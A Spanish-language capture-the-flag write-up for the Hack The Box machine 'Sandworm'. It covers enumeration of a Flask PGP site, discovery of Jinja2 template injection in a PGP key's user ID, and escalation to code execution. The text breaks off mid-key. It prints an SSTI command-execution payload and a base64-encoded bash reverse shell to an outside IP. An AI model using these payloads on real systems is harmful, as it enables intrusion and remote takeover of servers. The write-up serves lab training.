Sandworm
25 minutos de lectura
atlas
. Sin embargo, este entorno es limitado debido a firejail
, pero podemos encontrar una contraseña en texto claro para entrar como silentobserver
por SSH. Como este usuario, podemos modificar un proyecto de Rust que se utiliza en otro proyecto de Rust que se ejecuta periódicamente como atlas
. Con este poder, podemos obtener acceso como atlas
nuevamente, pero fuera de firejail
. Finalmente, dado que firejail
es un binario SUID, podemos usar un exploit público para convertirnos en root
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.218
- Fecha: 17 / 06 / 2023
Escaneo de puertos
# Nmap 7.94 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.218 -p 22,80,443
Nmap scan report for 10.10.11.218
Host is up (0.083s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after: 2050-09-19T18:03:25
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Secret Spy Agency | Secret Security Service
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 26.11 seconds
La máquina tiene abiertos los puertos 22 (SSH), 80 (HTTP) y 443 (HTTPS).
Enumeración
En primer lugar, podemos ver un dominio ssa.htb
en la salida de nmap
, por lo uqe lo ponemos en /etc/hosts
. Ahora tenemos esta página web (el puerto 80 redirige a https://ssa.htb
):
En el pie de página, vemos que el sitio web está hecho en Flask (Python):
Vamos a aplicar fuzzing para enumerar más rutas:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u https://ssa.htb/FUZZ
[Status: 200, Size: 5584, Words: 1147, Lines: 77, Duration: 64ms]
* FUZZ: about
[Status: 200, Size: 3543, Words: 772, Lines: 69, Duration: 68ms]
* FUZZ: contact
[Status: 200, Size: 4392, Words: 1374, Lines: 83, Duration: 77ms]
* FUZZ: login
[Status: 302, Size: 225, Words: 18, Lines: 6, Duration: 61ms]
* FUZZ: view
[Status: 302, Size: 227, Words: 18, Lines: 6, Duration: 67ms]
* FUZZ: admin
[Status: 200, Size: 9043, Words: 1771, Lines: 155, Duration: 58ms]
* FUZZ: guide
[Status: 200, Size: 3187, Words: 9, Lines: 54, Duration: 55ms]
* FUZZ: pgp
[Status: 302, Size: 229, Words: 18, Lines: 6, Duration: 56ms]
* FUZZ: logout
[Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 58ms]
* FUZZ: process
[Status: 200, Size: 8161, Words: 2604, Lines: 124, Duration: 146ms]
* FUZZ:
La web nos permite poner mensajes cifrados con PGP:
Incluso tenemos una guía sobre cómo usar PGP:
Más relevante, hay un formulario de inicio de sesión, pero aún no tenemos credenciales:
En /pgp
tenemos su clave pública:
Si lo descargamos e importamos con gpg
, encontraremos un nombre de usuario llamado atlas
:
$ curl https://ssa.htb/pgp -ks | grep -v 'pre>' > pgp_pubkey
$ file pgp_pubkey
pgp_pubkey: PGP public key block Public-Key (old)
$ gpg --import pgp_pubkey
gpg: clave C61D429110B625D4: clave pública "SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>" importada
gpg: Cantidad total procesada: 1
gpg: importadas: 1
$ gpg --fingerprint
/home/kali/.gnupg/pubring.kbx
-----------------------------
pub rsa4096 2023-05-04 [SC]
D6BA 9423 021A 0839 CCC6 F3C8 C61D 4291 10B6 25D4
uid [desconocida] SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>
sub rsa4096 2023-05-04 [E]
Acceso a la máquina
Dado que el sitio web está hecho en Flask, es probable que el vector de ataque sea la Server-Side Template Injection (SSTI) en Jinja2.
Jugando con PGP
Juguemos un poco con PGP. Por ejemplo, podemos cifrar un mensaje con su clave pública:
$ echo asdf > test
$ gpg --armor --encrypt --recipient atlas@ssa.htb test
gpg: 6BB733D928D14CE6: No hay seguridad de que esta clave pertenezca realmente
al usuario que se nombra
sub rsa4096/6BB733D928D14CE6 2023-05-04 SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>
Huella clave primaria: D6BA 9423 021A 0839 CCC6 F3C8 C61D 4291 10B6 25D4
Huella de subclave: 4BAD E0AE B5F5 5080 6083 D5AC 6BB7 33D9 28D1 4CE6
No es seguro que la clave pertenezca a la persona que se nombra en el
identificador de usuario. Si *realmente* sabe lo que está haciendo,
puede contestar sí a la siguiente pregunta.
¿Usar esta clave de todas formas? (s/N) s
$ cat test.asc
-----BEGIN PGP MESSAGE-----
hQIMA2u3M9ko0UzmAQ/+JFa+4Nbyk43kS55AKftEbAfPeHM1otMHK0KpA9QHF3m6
XqaNFhaqfeHEZKRoGkzClsqb6fdxOGKxuoPQ4eaRvQlIrhi5QoxVW6vDSXFr021G
MyY88V7neeVsE6ruy1JVl6Byhg0zgQaejHqCeeUD4GRVRL2r1x0nhKpDNpKpPevr
gtLbco549h2LUh19qgi1iSJmXl+rutHhbhoplSzMCYYYl3+VFHnRbVJ5oYjoqqrF
5IXHaxNYNFe10IkNOdX5H6drvw1InVBLd95xANU5zmkzlDOpsqJkhTYAgbVrMHX7
u0g0yVs7lvAhxw3UoGCIa0q8tzokkNE1OV2wxkVHeg/g3FQJIS9Fkl6HL514t8hp
8UIEl6cFitNuNbPqSmYGsVM326rv2IeI9zXb1/zxZHRDOq9KUXg8b0s4ZkNtChCr
RWqJe5vwSwnZBT2YSIV8Z7T6omLB8Xxf8V6Jx5jYFhgsSWrG2K2Q0injE8k9rPzD
QJLrZO6QOaWe+DAXdtlwiXiKDaU2QecsceitjWofYpGNW+O7gt2/ZoXaoXETdUbV
52T7yPhcbpL4xiFr3nvH7kjkUt+KJgP6vxLDgbm3eHcP3YkWrK0RqiBPzkeR++I+
paNCWOh5ij5l1RjvwC80WgPxe1Un4/f9dLUPgXoG0FhUTwMrjyPykvB+LbGtbOrS
RAFG0smI9TfJF3RZSMnQDqpaOrS4SsZHLIWbdL5+ur5XfClkWKoXxKELtLso2f9T
mZhn+R6e4nELkGmYZr0hGZ5Wbs1R
=GYgS
-----END PGP MESSAGE-----
Ahora podemos ingresar esto en su sitio web y descifrarlo:
Además, podemos ir a /contact
y poner lo mismo:
La diferencia es que aquí no vemos el mensaje descifrado, sino un mensaje fijo que dice que el proceso de descifrado fue exitoso:
Generemos una nueva clave PGP para usarla para descifrar un mensaje de ellos:
$ gpg --gen-key
gpg (GnuPG) 2.2.27; Copyright (C) 2021 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
gpg: creado el directorio '/home/kali/.gnupg'
gpg: caja de claves '/home/kali/.gnupg/pubring.kbx' creada
Nota: Usa "gpg --full-generate-key" para el diálogo completo de generación de clave.
GnuPG debe construir un ID de usuario para identificar su clave.
Nombre y apellidos: asdfasdf
Dirección de correo electrónico: asdf@ssa.htb
Ha seleccionado este ID de usuario:
"asdfasdf <asdf@ssa.htb>"
¿Cambia (N)ombre, (D)irección o (V)ale/(S)alir? V
Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
gpg: /home/kali/.gnupg/trustdb.gpg: se ha creado base de datos de confianza
gpg: clave A19695745DB6EA25 marcada como de confianza absoluta
gpg: creado el directorio '/home/kali/.gnupg/openpgp-revocs.d'
gpg: certificado de revocación guardado como '/home/kali/.gnupg/openpgp-revocs.d/7BABCB681902EF271ECD11DAA19695745DB6EA25.rev'
claves pública y secreta creadas y firmadas.
pub rsa3072 2023-06-18 [SC] [caduca: 2025-06-17]
7BABCB681902EF271ECD11DAA19695745DB6EA25
uid asdfasdf <asdf@ssa.htb>
sub rsa3072 2023-06-18 [E] [caduca: 2025-06-17]
$ gpg --armor --export asdf@ssa.htb
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
O8+C7aPiylWURffzMUQ+
=gOOZ
-----END PGP PUBLIC KEY BLOCK-----
Ahora ponemos esta clave pública en el sitio web y recibimos un mensaje cifrado:
Y podemos descifrarlo de la siguiente manera:
$ cat > msg.enc
-----BEGIN PGP MESSAGE-----
hQGMA1/UNxCcIafUAQv/TEJ4cvgGyvvxK9sSZpEbYj1JfgxESkpc60sWI55XIgZd
AcVEGS3WnKk8zYrESzr872Q49D1j9rniWOlun9F5NvQB67XpPEcVsbUPG7ncN32q
aEVhtNPRmS5mbcbbbHNzryjOwYETp+4j7DyFhIzI0I82bJdgtwc9mzbQogkMc64O
i3Q0vj0/H7dZNvD+O9lZfS8avaIxBDvxxZapXUJMF+4OOKMCcDhEdoNeOmq34+Fh
rYR8CsB4ZIAdxrluGBOW9Uyw6BLFj6MkKpl49NPxS6kGLWWp7o1UxIwCrtte2pO1
Yfwa0epuHkkeTy9/9OVs+TBabMscAYYNW9kIO1lzJEx7UeU+RbuUn76OGiQ63B+e
cjd7yw63IsKNAe1tKn3HaEsgjpnJdvzM2Bm8L6I/ezXZZfpiKGVuXLVsDkItt6qx
e6yWu1qfYTYcKxD8bszL9Drf67YcjcT+DUdcLHDE05eNSzu/tSNx+kc474af/U38
270E6B8RzKHQSbFfdxP80sB0AaIG3TlxvKYMYVCDil8Dg1kPYgGo0jG9rq+ZF71V
drmTAbIDvm2faKR184jYX9K5596hG1bs73tFR1nwOw/iTaNGfuDrzSPuhLSWmwhZ
eudVuS7NajnMK4ow9cRsl5SX5totSF0sj+AoBNk9ZoH3EHZiVDScIgN9meAI8vMe
rvQz/OWjVt0jwS1ZAFhaB7dFCKRDYlR024KJ4iDMtJiBFI/C0zYhQPeJcGOsN1Mx
56faV3Qz/xfzDyJgXboKypTK7auTSxJ6VyYVA0pJ50RojUn4rbxdriHC/2wOwpuS
GDzXaUUIzEXJpztBx/+rB1KnppPeoAbLhPDzyuynMCQTUVOcjiBICYbk+iOl2k9g
5UrduTAtsffhc5I7/V5NI/IAX+k0S0oWG5ya+vY8bPdAqtOtq7Y=
=O+o7
-----END PGP MESSAGE-----
^C
$ gpg --decrypt msg.enc
gpg: cifrado con clave de 3072 bits RSA, ID 5FD437109C21A7D4, creada el 2023-06-18
"asdfasdf <asdf@ssa.htb>"
This is an encrypted message for asdfasdf <asdf@ssa.htb>.
If you can read this, it means you successfully used your private PGP key to decrypt a message meant for you and only you.
Congratulations! Feel free to keep practicing, and make sure you also know how to encrypt, sign, and verify messages to make your repertoire complete.
SSA: 06/18/2023-16;05;31
La última tarea es firmar un mensaje. Podemos hacerlo así:
$ rm test*
$ echo asdf > test
$ gpg --clear-sign test
$ cat test.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
asdf
-----BEGIN PGP SIGNATURE-----
iQGzBAEBCgAdFiEEe6vLaBkC7ycezRHaoZaVdF226iUFAmSPLDAACgkQoZaVdF22
6iXFYgv9E0M7H3JWd00+xoCgqMpxSnnYbGDNq63lRQAKrlkjP4axZUEkAssg+taI
3zxnorGnVe9R9a9F6GG6FwK+Y7Bwy4m7G8XtYwujRegVqFc0cb1juUOzRL0ckezq
+SX20gtBDAa/CEufEN15LqpVLnwet/5+95fxXPlj05FaK9UO99tNZvQbt5bPGbYm
IvNrJCmCvwTZpFi2lPk6TNV7pRlRSGamyTBaBpsnXPkDmHUy8G0K+QU9+nhuBxze
QgI7wgEAUY6mZ5eFGzgTNPTe8hSJbQ3V4g+uPgsphvNGxdXKWgViBFI2tdNLaIHu
QjZLtoEppnOUNZndl+6R9rBaPXgOm0FDuCiv7selGizBriuaQTrtyk4ZH/s26Dbm
0r3I6hECcxZdIp7ZvKXYbQraIIYGH2GZ4DU7tMx6lLQYLLMUVtDjLypkql7Fl4hb
T1VoaJs8n8WeuE4ubf4w6g99glWFduV35i6Y/z3/BbU5qoEXFAVoP1ocwrQEbWEf
dvJO8qJh
=tOU+
-----END PGP SIGNATURE-----
Y el sitio web mostrará que la firma es válida:
Encontrando SSTI
Dado que estamos tratando con Server-Side Template Injection en Jinja2, pondremos payloads del tipo {{7*7}}
para probar si la inyección funciona. Debemos intentarlo en estos sitios:
- Descifrado de mensajes
- Formulario de contacto
- Mensajes firmados
- Nombre de usuario / correo electrónico
Al final, encontraremos que la inyección funciona en el nombre de usuario / correo electrónico en la función de firmas:
$ rm -rf ~/.gnupg
$ gpg --gen-key
gpg (GnuPG) 2.2.27; Copyright (C) 2021 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
gpg: creado el directorio '/home/kali/.gnupg'
gpg: caja de claves '/home/kali/.gnupg/pubring.kbx' creada
Nota: Usa "gpg --full-generate-key" para el diálogo completo de generación de clave.
GnuPG debe construir un ID de usuario para identificar su clave.
Nombre y apellidos: {{7*7}}
Dirección de correo electrónico: {{8*8}}@ssa.htb
Ha seleccionado este ID de usuario:
"{{7*7}} <{{8*8}}@ssa.htb>"
¿Cambia (N)ombre, (D)irección o (V)ale/(S)alir? V
Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
gpg: /home/kali/.gnupg/trustdb.gpg: se ha creado base de datos de confianza
gpg: clave 472AD28C6E535785 marcada como de confianza absoluta
gpg: creado el directorio '/home/kali/.gnupg/openpgp-revocs.d'
gpg: certificado de revocación guardado como '/home/kali/.gnupg/openpgp-revocs.d/BB56CBA8229D288D320F08C9472AD28C6E535785.rev'
claves pública y secreta creadas y firmadas.
pub rsa3072 2023-06-18 [SC] [caduca: 2025-06-17]
BB56CBA8229D288D320F08C9472AD28C6E535785
uid {{7*7}} <{{8*8}}@ssa.htb>
sub rsa3072 2023-06-18 [E] [caduca: 2025-06-17]
$ rm test*
$ echo '{{9*9}}' > test
$ gpg --clear-sign test
$ cat test.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
{{9*9}}
-----BEGIN PGP SIGNATURE-----
iQGzBAEBCgAdFiEEu1bLqCKdKI0yDwjJRyrSjG5TV4UFAmSPLZsACgkQRyrSjG5T
V4VSrgwAj59V1FjgbaiJ/ha6+Ily6dP+ycq0kJ1oWngpktNXdv+uuksJ8spyvZIh
BSQYBg9AjSG+AkFq6YOpvPZPA1kDjHC0ClIHY7PpGyC1CJDmv1wgOT7ULJaVdYsz
OQgT/jglQv99x4C/I2pSoFSJIq2Z+63thtWVHbCUgH0O/y9ikn3Oi6SQvRAYrjxV
dEvhBsfo6fCZ9r+Df5zm3WmnHyj80URlDvZp0TKehgVcAvaEhQPfurTnzRtm7C5H
4qp6fe0eXlXkXuFbcHJ9zDgmziGkhJg65BTCk2kFAyOzzOBpKHC7SwkyC+hdUqhY
cr/VEjEqPA39egiesr245n5B4H6bngnwAqrZfu8qNo3B14dBuO0qfc/J6m8gCIre
V8WH+ZOCD8uiFlKQWzCEN6o/BB27r+GLAn7/V4wOrda4+ZZhQXZP2F4CL39LDSSR
J9dC86GwbZ1bCvBpC5hxNivHI70JdjwhB9FKJkmEV78bEuXzqMJi27q1DpGYKkMT
LdwVd4ZQ
=mqQj
-----END PGP SIGNATURE-----
$ gpg --armor --export '{{8*8}}@ssa.htb'
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
cKxtKXaMB0HLx76yMPiLAm4=
=XNDM
-----END PGP PUBLIC KEY BLOCK-----
Como antes, ingresamos a la clave pública y al mensaje firmado:
Y obtenemos este resultado:
Entonces, el ataque SSTI fue exitoso. Derivémoslo a ejecución remota de comandos con el siguiente payload de PayloadsAllTheThings:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
Usaremos una reverse shell para obtener acceso a la máquina:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ rm -rf ~/.gnupg
$ gpg --gen-key
gpg (GnuPG) 2.2.27; Copyright (C) 2021 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
gpg: creado el directorio '/home/kali/.gnupg'
gpg: caja de claves '/home/kali/.gnupg/pubring.kbx' creada
Nota: Usa "gpg --full-generate-key" para el diálogo completo de generación de clave.
GnuPG debe construir un ID de usuario para identificar su clave.
Nombre y apellidos: {{ cycler.__init__.__globals__.os.popen('echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash').read() }}
Dirección de correo electrónico: asdf@ssa.htb
Ha seleccionado este ID de usuario:
"{{ cycler.__init__.__globals__.os.popen('echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash').read() }} <asdf@ssa.htb>"
¿Cambia (N)ombre, (D)irección o (V)ale/(S)alir? V
Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
Es necesario generar muchos bytes aleatorios. Es una buena idea realizar
alguna otra tarea (trabajar en otra ventana/consola, mover el ratón, usar
la red y los discos) durante la generación de números primos. Esto da al
generador de números aleatorios mayor oportunidad de recoger suficiente
entropía.
gpg: /home/kali/.gnupg/trustdb.gpg: se ha creado base de datos de confianza
gpg: clave 304FE7360D1EE707 marcada como de confianza absoluta
gpg: creado el directorio '/home/kali/.gnupg/openpgp-revocs.d'
gpg: certificado de revocación guardado como '/home/kali/.gnupg/openpgp-revocs.d/51114BE248A0562325F017D2304FE7360D1EE707.rev'
claves pública y secreta creadas y firmadas.
pub rsa3072 2023-06-18 [SC] [caduca: 2025-06-17]
51114BE248A0562325F017D2304FE7360D1EE707
uid {{ cycler.__init__.__globals__.os.popen('echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash').read() }} <asdf@ssa.htb>
sub rsa3072 2023-06-18 [E] [caduca: 2025-06-17]
$ rm test*
$ echo asdf > test
$ gpg --clear-sign test
$ cat test.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
asdf
-----BEGIN PGP SIGNATURE-----
iQGzBAEBCgAdFiEEURFL4kigViMl8BfSME/nNg0e5wcFAmSPOhcACgkQME/nNg0e
5wcdwwv9Fnnh2bGk6zjJ/wMliQ/QAJj+7x/GWxA1h3JQ8PXyhwrkevbmCHFXOjZi
9oee1NLQXssoH4pBvpHsN2UHmUhJ9lcaC6sMRENWCPJIIy9CKCz0I/+An3DrHsN+
Esga08Z9VrMibUjyrLxMRuuWdRGwcwk+GuZa0qvruSZjjXhXKrpARofa/taLoybS
iSjuahPbhKpbk8GRn9xrSzKIfPTq0E4iERYlGTeSUWBHXNgcjGthiZIWO6i1UqST
4TyEMjEyl4Dq76jD8pNvSKMqe/O5DDvviFOcRnbVjmFGRjMa4/3xo/OGFh6S2PGU
TGI6/1F9UllbOPEjkKam6XjlLd/uWaLc+oLWq/PNFOYTB3HIPMH3RW1GL0x/C71p
COKNvftPQHvTYffEF8O9n1hLJR0TkVUDxbItVaq4gmrXdz9ui99dLWzQNtOjdt4i
Q5GJpMNN23MytUp6GP74sWGLeIWCCDN/r4rg/CWfOAUnonW6gwWfVvedfgjYF7BS
TVb3svxP
=J5ma
-----END PGP SIGNATURE-----
$ gpg --armor --export asdf@ssa.htb
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQGNBGSPOgABDADQZ4EstFoyus6avnPlKPhtRoDmwD/BwBdVjE3lUsqTP/mfMYM+
